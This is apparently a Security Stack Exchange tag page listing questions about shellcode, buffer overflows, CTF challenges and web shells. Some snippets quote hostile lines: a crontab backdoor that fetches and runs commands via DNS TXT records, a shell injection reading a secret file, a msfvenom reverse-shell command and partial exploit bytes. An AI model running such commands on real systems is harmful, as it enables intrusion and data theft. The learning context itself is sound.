Questions tagged [shellcode]

In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode.

Filter by
Sorted by
Tagged with
0 votes
0 answers
51 views

Encoding shellcode to hide in filename / directory

Working on a CTF challenge and the coordinators hint suggests that one of the vectors to inject shellcode is via pathing. Looking at debugging prints does show the cwd and filename are passed onto the ...
TKC's user avatar
  • 1
0 votes
0 answers
41 views

Decoding shellcode gets detected in memory on runtime

I am developing a custom shellcode encoder in C++. It takes shellcode as a command line argument and generates encoded shellcode (unsigned char array) and the instructions to decode it (C/C++ code). I ...
str4nger's user avatar
0 votes
1 answer
48 views

Exporting shellcode to environment variable doesn't work as expected

(This is a question regarding a challenge in a wargame on overthewire.org called Narnia similar to Shellcode does not execute as the owner ) When exporting shellcode to EGG environment variable export ...
Black Hemera's user avatar
0 votes
1 answer
91 views

Unable to execute shellcode on x86_64 architecture

I currently got interested in binary exploitation (even though I do not know if today is still useful). I started studying shellcode and buffer overflow (stack-buffer overflow, specifically). I know ...
KmerPadreDiPdor's user avatar
1 vote
1 answer
159 views

Buffer overflow stops executing shellcode in the middle of it

I am trying to execute a simple shellcode by using a buffer overflow. The shell code starts executing but stops in the middle (even though it is fully copied to memory). This is the vulnerable C code:...
ramon's user avatar
  • 121
0 votes
1 answer
97 views

Info integer overflow vulnerability

I've found this interesting question Is this integer overflow vulnerability exploitable?. How can I practically find the next instruction (in gdb) so that I can overwrite the return address and ...
LianoQ's user avatar
  • 1
0 votes
1 answer
78 views

pvefindaddr p2 in mona?

Is there a "!pvefindaddr p2" (search for all pop/pop/ret combinations in the entire process memory space) equivalent in mona.py? Alternatively, is there any option to run pvefindaddr in ...
user286591's user avatar
2 votes
1 answer
85 views

Does it matter what nameserver is queried for TXT records?

I found this backdoor in a crontab: * * * * * /bin/sh -c "sh -c $(dig imf0rce.htb TXT +short @ns.imf0rce.htb)" And if i understood correctly, it queries all the TXT records in the domain ...
idontknowwhatggww's user avatar
1 vote
1 answer
83 views

Why would you use the command `test` in a php shell injection?

I saw someone doing this in a php shell injection: test | cat /var/backup/secret.txt Why are they using test |? How is that not useless here?
idontknowwhatgg's user avatar
1 vote
2 answers
332 views

Linux x86_64 Assembly works standalone, but Segfaults when ran as shellcode in C

I wrote a NASM program that uses the execve system call to run wget inside a newly spawned shell and execute the retrieved page: [bits 64] global _start section .text _start: xor rcx, rcx ...
Vilius Povilaika's user avatar
1 vote
1 answer
440 views

Abusing Shell Feature for Privilege Escalation

This was covered in Linux PrivEsc, task 15, in this TryHackMe room. I am having trouble understanding how this debugging mode is executing the commands in the PS4 variable, and why I must put /usr/...
questioner's user avatar
-1 votes
1 answer
396 views

How do you execute ls -la when encoded as hex? [closed]

There used to be a really bad joke from the internet where you would copy something starting with \x0B\x2E... (just an example) and when you execute this command the terminal would interpret it as ...
Sir Muffington's user avatar
0 votes
2 answers
516 views

What is the maximum payload injection size

I have been conducting some minor research into the various forms of exploitation, such as buffer overflows and similar. Most tutorials seem to focus on executing shellcode, that is code which ...
questioner's user avatar
0 votes
2 answers
376 views

Shellcode not executing despite EIP being overwritten properly

Here is my exploit: junk = b'A' * 1032 ​ eip = b"\xf5\x93\x4a\x00" # some address where 'jmp esp' lives shellcode = b"" shellcode += b"\x33\xc0" # xor eax, ...
Toma's user avatar
  • 121
0 votes
0 answers
391 views

Shell does not execute after buffer overflow

I am trying to do a buffer overflow on 64-bit Kali VM. When I execute the program and inject the NOP sled + shellcode + return address, the shell does not execute. I think it might have something to ...
malpa's user avatar
  • 1
4 votes
2 answers
247 views

Instruction Overwrites with Garbage?

I am practicing a function return address overwriting exploit. However, the program instruction pointer instead gets overwritten by gibberish. I have tried compiling with -fno-builtin and -fno-...
Stone True's user avatar
  • 2,042
0 votes
1 answer
110 views

What is claimed here about a vulnerability in the target of a "really common shell"?

in https://twitter.com/nnwakelam/status/1363761612423786496, its tweeted: fucking yikes.. ran every bitcoin exchange for a really common shell and found.... Uname: Linux cloudimage 4.4.0-166-generic ...
hedgedandlevered's user avatar
1 vote
1 answer
95 views

CLI application running user defined command periodically [closed]

For a toy CLI application I'm writing, I'd like to store a string with an user defined command that will be executed periodically (like shell -c <command_string>). I have seen other applications ...
roperzh's user avatar
  • 113
2 votes
1 answer
1k views

BufferOverflow ESP too small for shellcode

I want to write an exploit for a test application that provides only 12 bytes of space at the ESP. I'm not able to place shellcode in such a small space. I have no clue what I can do to solve this. I ...
Nightwolf's user avatar
2 votes
1 answer
516 views

How to avoid crash after successfully run shellcode?

I am a student studying information security. Recently I read this article link and made full exploit code. calc.exe is executed as expected. But after running shellcode, IE just crashed. (because no ...
ruslan's user avatar
  • 21
2 votes
2 answers
2k views

How do I gain root access to a system using a setuid root binary?

Assuming that I have no ability to use sudo and rather limited permissions, but I have a shell script exploit that allows to me change the file ownership of a file to the current user by running a ...
Koala's user avatar
  • 23
1 vote
3 answers
919 views

Can't inject meterpreter shellcode in c++ code

I want to inject meterpreter shellcode in a c++ program. When I create .exe file in msfvenom, I try it in my virtual machine (Windows 7) and it works well. But when I create shellcode and inject it ...
paladium's user avatar
0 votes
1 answer
183 views

Automatically insertion of 00 in EIP in Stack Overflow 64bit

I am trying to overflow a stack in C sample code to execute uncalled function in code. The problem is when i overflow stack by entering a(24 times), $EIP is 0x555555550061. I want it to be ...
Parampreet Rai's user avatar
1 vote
0 answers
170 views

MessageBoxA only shows up in debugger?

This question is related to crackmes.de's k1 by xtfusion. I'm trying to add custom shellcode through stack overflow. The shellcode works perfect under Windows XP (without ASLR) when the program is ...
jasonz's user avatar
  • 111
0 votes
2 answers
1k views

Can't execute shell i uploaded with cURL

I uploaded a PHP web shell to a site, and to bypass the file upload restriction, I used a .php.jpg extension. When I open my shell with a web browser, it doesn't execute (confirmed with a packet ...
arsenic's user avatar
1 vote
1 answer
560 views

Decompiling shellcode

I'm trying to understand how shellcode works. I wrote a simple program in C#, then I used Donut to create the shellcode from that exe in base64 format. Then, I wrote again another program to convert ...
warcode360's user avatar
2 votes
1 answer
606 views

Exploit education stack-five: trouble opening shell

Im trying the phoenix vm, challenge stack-five on exploit.education (http://exploit.education/phoenix/stack-five/). I run onto a problem while exploiting a stack overflow. The challenge is run execve('...
Burst's user avatar
  • 23
1 vote
1 answer
8k views

Shellcode in MongoDB Python code

I know I can input this into a search box that queries the MongoDB. I have updated the code with my shell code, but I won't include that, I will just use the exploit as it is here: db.my_collection....
Archeofuturist's user avatar
0 votes
0 answers
111 views

Pwnable: Process has its own home directory

I recently started to do the pwnable.tw challenges. I have no problem understanding the actual buffer-overflow and shellcode injection. However, after the shell is spawned, the flag is read from /...
Sam's user avatar
  • 1
0 votes
2 answers
890 views

Find Buffer Overflows at a target you want to gain access

I want to pass my OSCP exam and I am learning with the material I got. I watched the videos and read the pdf but I have a question about buffer overflows. In the example in the videos, the guy has ...
Soteri's user avatar
  • 123
0 votes
1 answer
206 views

How to block for open Web Shell in my CentOS 6

I currently use mod_security in combination with maldec and block almost all attempts to upload shells, leading them to error 406. However, I found one "problem" if I upload Shell through an ftp ...
Квлади's user avatar
0 votes
1 answer
1k views

In Buffer overflow exploitation what if JMP ESP address contains bad characters?

I was writing an exploit for BOF. The server accepts only ASCII payloads. FInally I wnted to jump to my shellcode which is clearly in the stack. But only one module is available without ASLR and DEP ...
melvinjose's user avatar
0 votes
1 answer
2k views

Executing shellcode in python format [closed]

So after running the command: msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.31 lport=8080 -f py I receive the output: buf = b"" buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\...
Alexander Dimitrov's user avatar
1 vote
3 answers
225 views

Why Does Only 1 Of These 2 Almost-identical Payloads Give Me A Shell?

I wrote a vulnerable test program to practice buffer overflows; however, I was having trouble getting it to work. Finally, after slightly modifying the return address, I was able to gain a shell, but ...
jinscoe123's user avatar
4 votes
2 answers
4k views

Why is a shell not spawning after a buffer overflow exploit?

I started learning about stack-smashing after it came up during a CTF exercise. I have been practicing on an ELF 32-bit executable that I received for the CTF. After disassembling the binary file, I ...
ep84's user avatar
  • 143
2 votes
2 answers
558 views

Basic questions about shellcode

Is the hex code at the top of this source file the same as the assembly at the bottom, as in they do the same thing? How can I convert assembly into hex like in this source code file? I frequently ...
user5623335's user avatar
1 vote
0 answers
68 views

What's the point of this php shell? [duplicate]

What is the point of this shell code? There is no other code in the file. @preg_match_all("/\t \t(.+)\t\t/Ui",@file_get_contents(__FILE__),$r); $w="";foreach($r[1] as $v){@$w.=@chr(@strlen($v));} $e=...
beppe9000's user avatar
  • 565
0 votes
0 answers
282 views

Windows shellcode not working in C

I have been trying to run a raw piece of shellcode collected on the net within a C wrapper to try it but it never works... I know the shellcode below is all right because it does work in the context ...
Matt's user avatar
  • 1
0 votes
0 answers
1k views

permission denied when executing an elf payload

I can examine a payload using libemu (sctest) and ndisasm, like this : msfvenom -p linux/x86/shell_bind_tcp -f raw | ./sctest -vvv -Ss 1000 msfvenom -p linux/x86/shell_bind_tcp -f raw | ndisasm -u -...
trogne's user avatar
  • 101
0 votes
0 answers
189 views

How to forbid user from executing malicious shell and Python script?

I am designing a online programming website similar to https://repl.it. Users can execute shell and python scripts on the browsers. If users execute malicious commands including but not limited to "...
Jill Clover's user avatar
1 vote
0 answers
140 views

Confusing with the exact location of a shellcode in memory?

When we test a shellcode, we add it to a small C program and execute it in order to see it does the actual job we expect. But most of the time, it crashes saying 'segmentation fault'. I got the same ...
Dulaj Nikeshala's user avatar
3 votes
1 answer
1k views

Replace forbidden characters function check python

I have "blackbox" with the following python function code (without permission to change it): def exec_ping(): forbidden = ['&', ';', '-', '`', '||', '|'] command = input('Enter an IP: ') ...
Evyatar's user avatar
  • 133
1 vote
2 answers
270 views

The most secure way to allow downloading and installing an app on Mac, Windows, or Linux

I have been introduced to the anti-bash-script-piping stuff such as these: Curl Bash Piping Wall of Shame (link broken) Piping curl to s(hell) Don't Pipe to your Shell The hidden dangers of piping ...
Lance's user avatar
  • 608
0 votes
2 answers
551 views

Pickle Shellcode Import Error

I'm trying to execute pickle shell-code through a download function on a website but I get the following error: <html> <h1>ERROR: Cannot load file</h1> <!-- Traceback (most ...
John's user avatar
  • 1
1 vote
0 answers
102 views

Why is generated different traffic for the same attack?

I created a scenario in VirtualBox (configured as internal network) with two machines: Windows XP and Kali Linux. I used ms08_067_netapi exploit from Metasploit and the payload windows/meterpreter/...
Mario's user avatar
  • 23
2 votes
1 answer
1k views

Should the shellcode be "reversed" before beeing injected in a simple buffer overflow?

I'm new to buffer overflows and I'm trying to understand exactly what I'm doing before using any premade and easy to go scripts. My goal is to spawn a shell, so I found the asm code to do an execve("/...
Amon's user avatar
  • 135
0 votes
0 answers
444 views

x86 shellcode leads to segmentation fault

I want to execute execve("/bin/dash", &"/bin/dash", NULL) on Ubuntu 64 bit with the following 32 bit shellcode: global _start _start: xor eax, eax ; set eax = 0 to push a null without using ...
winklerrr's user avatar
  • 125
0 votes
1 answer
2k views

Shellcode as part of format string buffer

I'm currently trying out a simple format string vuln exploit. The target program looks like this: int main(int argc, char *argv[]) { char buffer[1024]; strncpy(buffer, argv[1], sizeof(buffer)...
Martin's user avatar
  • 105
1 vote
1 answer
1k views

linux kernel exploit shellcode causes segfault

I'm learning how to write kernel exploits and my shellcode keeps seg faulting. I'm getting the memory address for commit_creds(prepare_kernel_cred(0)); #grep commit_creds /proc/kallsyms c907eea0 T ...
krypt0mux's user avatar
0 votes
0 answers
217 views

Is JIT-compiler required for JIT-ROP attack?

I have been studying up on the concept of Just-in-Time (JIT) ROP attack (https://cs.unc.edu/~fabian/papers/oakland2013.pdf), and came across this question which I have not been able to find the ...
zzang3's user avatar
  • 1

1
2 3 4 5